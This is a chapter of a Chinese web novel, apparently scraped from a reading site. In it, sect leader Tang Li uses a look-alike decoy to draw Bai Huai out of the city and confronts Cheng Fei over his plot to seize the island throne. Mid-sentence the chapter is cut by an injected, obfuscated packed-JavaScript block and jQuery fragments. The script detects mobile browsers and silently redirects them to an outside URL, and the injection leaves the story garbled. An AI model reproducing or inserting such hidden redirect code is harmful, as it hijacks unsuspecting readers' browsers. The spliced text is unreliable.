“蒋开山、飞鹰、云七!你们守住常欢和冬儿,无论如何都要保护他们的安全!”
“是!”
“现在我们要做的就是一个字——等!”
“是!嗯——呃?”
大家都看向了唐梨。
“等什么啊?宗主?”常欢忍不住问道。
“等待——时机。”
唐梨算了算时间,睁大眼睛说:“估计他们差不多也要到了。”
里面风平浪静,外面却是一片萧杀。
从柏仪死后,守在教坊司外的柏槐也逐渐焦躁起来,他让人发起了一波又一波攻势,企图闯入教坊司。
奈何勾栏位置过于狭窄,人马进出都困难,教坊司背后又是后山,地势实在特殊。云影躲在角落里用弓箭不断反击,虽然不断有人折损,但居然还撑得下去。
“家、家主!”
“什么事?”
“突然传来消息,那个常欢已经从教坊司逃走,现在出现在城门处,就要出城了!”
“什么?”
柏槐一惊,他连忙问道:“派去的人有些见过那个常欢,确定是他吗?”
“那个常欢身边有好些人跟随保护,虽然远远的只能看个大概,但长得真的像是他!”
“到底是不是?”柏槐涨红了脸,看着那个手下问道。
“是、是……”
“方才大公子就是被人抓入了密道,想必他们早就安排好,让人把那个常欢从密道送了出去。”丞非想了想说道,“他们刚出密道,肯定跑不快!不如您亲自去,将那个常欢抓回来!”
“好!”柏槐不假思索的答应下来,看着丞非道,“你跟我一起。”
“咳咳咳……”丞非咳嗽了两声,猛地吐出一口血来。
“我、我就暂时守在教坊司。”丞非有气无力的说,“唐梨还在里面,不知道还能耍什么花招。有可能是声东击西之计,我、我得在这儿看着她……”
看着丞非这个样子,柏槐皱了皱眉,不过他也顾不上管他,随意点了点头说:“那我就先去杀了那个常欢!”
说罢,柏槐驱马转身,带人离开,前去围堵常欢去了!
柏槐离开教坊司,便带人往城门的方向疾驰。他远远地看见一队人马正簇拥着一个白衣男子,正在与城门处的守军交战。
“家主!”守军来报,“是云密的云廷卫!他们正攻进城来!”
“一定是为了接应那个常欢!”
柏槐挑眉望去,只见那个白衣男子长得颇为俊美,容貌与记忆里的那个“常欢”有八分相似。他万分笃定这就是常欢,连忙下令道:“给我杀了那个白衣男子!取他人头者,本岛主重重有赏!”
他血红的双眼里全都是对权力的渴望,连自己称呼自己为“岛主”都没有注意。或许在他心里,他早就已经是东岛的主人了!
守军闻言,连忙上前,与云廷卫战成一团。
教坊司外……
柏槐的人都撤了,去追“常欢”去了,教坊司外一下子安静了下来。
教坊司那备受摧残的门再一次被打开,唐梨走了出来。
唐梨脸上带着甜丝丝的微笑,她看着面前的丞非说:“真糟糕,被发现了呢……这样吧,丞城主,我答应你的交易,希望你能保住常欢的性命。”
丞非看着她,片刻之后,他慢慢走了过去,停在了距离唐梨五步处的距离。
“唐宗主真是说笑,那个‘常欢’是假的,真正的常欢还在教坊司内。”丞非看着她,脸上却没有任何笑容,“唐宗主骗得了别人,骗不了我。”
唐梨只是笑,她看着丞非说:“你让柏槐去,恐怕也没想让柏槐活。”
丞非笑了笑说:“果然瞒不过唐宗主。”
“事情到了这个地步,我还有些事情想问你。”
“我洗耳恭听。”
“之前去长生谷的时候,我曾经问过文珍儿,若人主服下那‘长梦安眠丹’会如何。”
“她怎么回答?”
“她跟我说,人主百毒不侵,神器结了血契,会保护主人。不过,若活到一百八、九十岁后,血气逐渐枯竭,神器虽能保灵主不死,但恐怕会一直昏睡下去。”
听了这话,丞非神色一顿,脸上挂着笑容,看着唐梨。
“那时候我想不明白,但当我知道了常欢的身世,我便什么都明白了。”唐梨看着丞非说,“如果我没有猜错,十几年前,你们给老岛主柏仁服下了长梦安眠丹。老岛主柏仁二百多岁了,神器护体,虽然死不了,但他年岁已高,就此陷入了沉睡。对不对?”
“你既然什么都知道了,还问什么?”丞非冷笑。
“说得通了,一切都说得通了!”唐梨沉吟道,“你胁迫冯淑拿到长梦安眠丹的配方是为了做这件事;你蛊惑柳玉蓓除掉文济世是为了掩盖这一切;之后你炸毁大坝毁掉玄冥草的痕迹,也是为了掩盖这桩天大的罪行!”
唐梨红了眼圈,她看向了丞非。
“这一切的一切,都是为了东岛岛主的位置,为了东岛宝库的宝藏!”唐梨看着丞非,“将近二十年时间里,你做了这么多事,无非只为了权力和财富。你杀了多少人,毁了多少人的家,你都不在乎!你在乎的只有你自己!”
丞非居然笑了。
“是啊,我只在乎我自己。”丞非看着唐梨,“你果然什么都猜到了,唐宗主,什么都瞒不过你。”
“还有一件事,你的妹妹丞芳——她怀孕了,怀的,还是柏槐的孩子。”
唐梨慢慢说出这件事,这还是她之前查到的。毕竟赵绿卿教过她一句话叫“知己知彼,百战百胜”,她要跟丞非对着干,再怎么说也得了解丞非这个人。
这不查不知道,一查吓一跳,丞非居然还有个妹妹。
他四十,妹妹才二十,之所以年龄差这么大不是因为他娘生的晚,是因为他是被过继过去的养子。谁知过继过去之后,他那个便宜爹续娶后居然生了一对儿女。之后便宜爹夫妻过世,儿子夭折,只剩下这个女儿。
那个爹和儿子的死,唐梨怎么想都蹊跷。如果便宜爹有了亲儿子,他这个过继货恐怕就要被赶出去了。至于这个妹妹,虽然是被丞非养大的,但恐怕也没多少感情。否则怎么会把年纪轻轻的姑娘嫁给五十几岁的老头子呢?
刚看到的时候,唐梨还唏嘘了一阵,为这姑娘不值,但现在她明白了丞非的用意。这是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460798|189978||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一场赌局,一个缓冲,对丞非来说,这是他的私心。
“如果柏槐死了,常欢也不在了,继承岛主之位的只会是柏槐的后人。可他现在三个儿子都不在了,只剩下你妹妹腹中的孩子。”唐梨笑道,“显而易见,你本来就计划找机会除掉柏槐,好让你妹妹的孩子成为东岛的岛主。”
这就是丞非最后的计划!
“成败就在今天。”丞非悠悠说道,“那个常欢喜欢赌是吗?没有什么比这场赌局更大了!如果我赢了,我什么都不怕!”
“呵,你想的倒是很好。”唐梨笑着看向他,“那我就跟你赌一场!而且,我一定会赢!”
此刻,城门处……
“哎呀我的小心肝啊!”唐苞一身行商打扮,看到天上箭如雨下,吓得头皮发麻,连忙抱住自己身侧的白衣男子说,“你别老是往外探头了!太危险了!”
“要是不让他们看到我的脸,他们怎么会跟上来?”“常欢”说,“我可不怕,我要跟他们周旋到底!”
“好宝儿,他们都已经追上来了,你就别闹了哈!”唐苞心惊胆战,搂着假常欢说,“我的小十一啊!你就别闹啦!咱们还是赶紧逃命吧!你看,云廷卫都已经冲进城了!”
原来这就是那个长得和常欢有八分像的“小十一”,唐城主送给唐梨那十个男宠里面的第十个!
“这是唐宗主安排的活儿,咱们得努力啊!我才不怕呢!你们来呀!”小十一瞅着柏槐追了上来,探出头冲着那家伙喊道,“你想当岛主?呸!也不看看你这张脸,跟剥了皮的老棒米似的!”
听了这话,周围的人哪怕正在干仗,也忍不住笑出了声。
柏槐也听到了,他顾不上生气,红着眼睛喊道:“来啊,杀了他……”
“跟我上!”
吉良让人护住东躲西藏的唐苞和小十一,带领云廷卫,与柏槐对抗。
就在此时,变数横生!
柏槐见自己的人抓不到“常欢”,十分着急,驱马向前,恨不得自己动手。谁知他身后跟随的人竟然拔出刀来,一刀把他杀了!
柏槐睁着眼睛,身前身后渗出血来,直挺挺地从马上落了下去,就这么死了!
“柏家主死了!云密的唐宗主派人杀了柏家主!”
什么?
局势一片混乱,柏家这边群龙无首,顿时乱作一团。
“哎呦喂!”唐城主赶紧把他的小十一藏起来,然后带人跟在吉良后面猫着。
吉良怔了怔,马上下令道:“投降者活,抵抗者杀!云廷卫,出击!”
战斗越发发展成一场混战,柏槐已死,局势会怎样呢?
此刻,东岛教坊司。
暗卫将柏槐被杀的消息送到唐梨处,唐梨一点都不意外,这一步本就是丞非计划好的,现在有这样的机会,他不可能不动手。
教坊司外,丞非也得到了柏槐死去的消息,心满意足的笑了。随后,他下令让人对教坊司展开攻势,势必要找到真正的常欢。
唐梨皱紧眉头,陷入了沉思。
她知道丞非一定将杀死柏槐的罪名栽赃在了自己的身上,然而此时的她顾不上那些,现在当务之急是——找到柏仁在哪儿!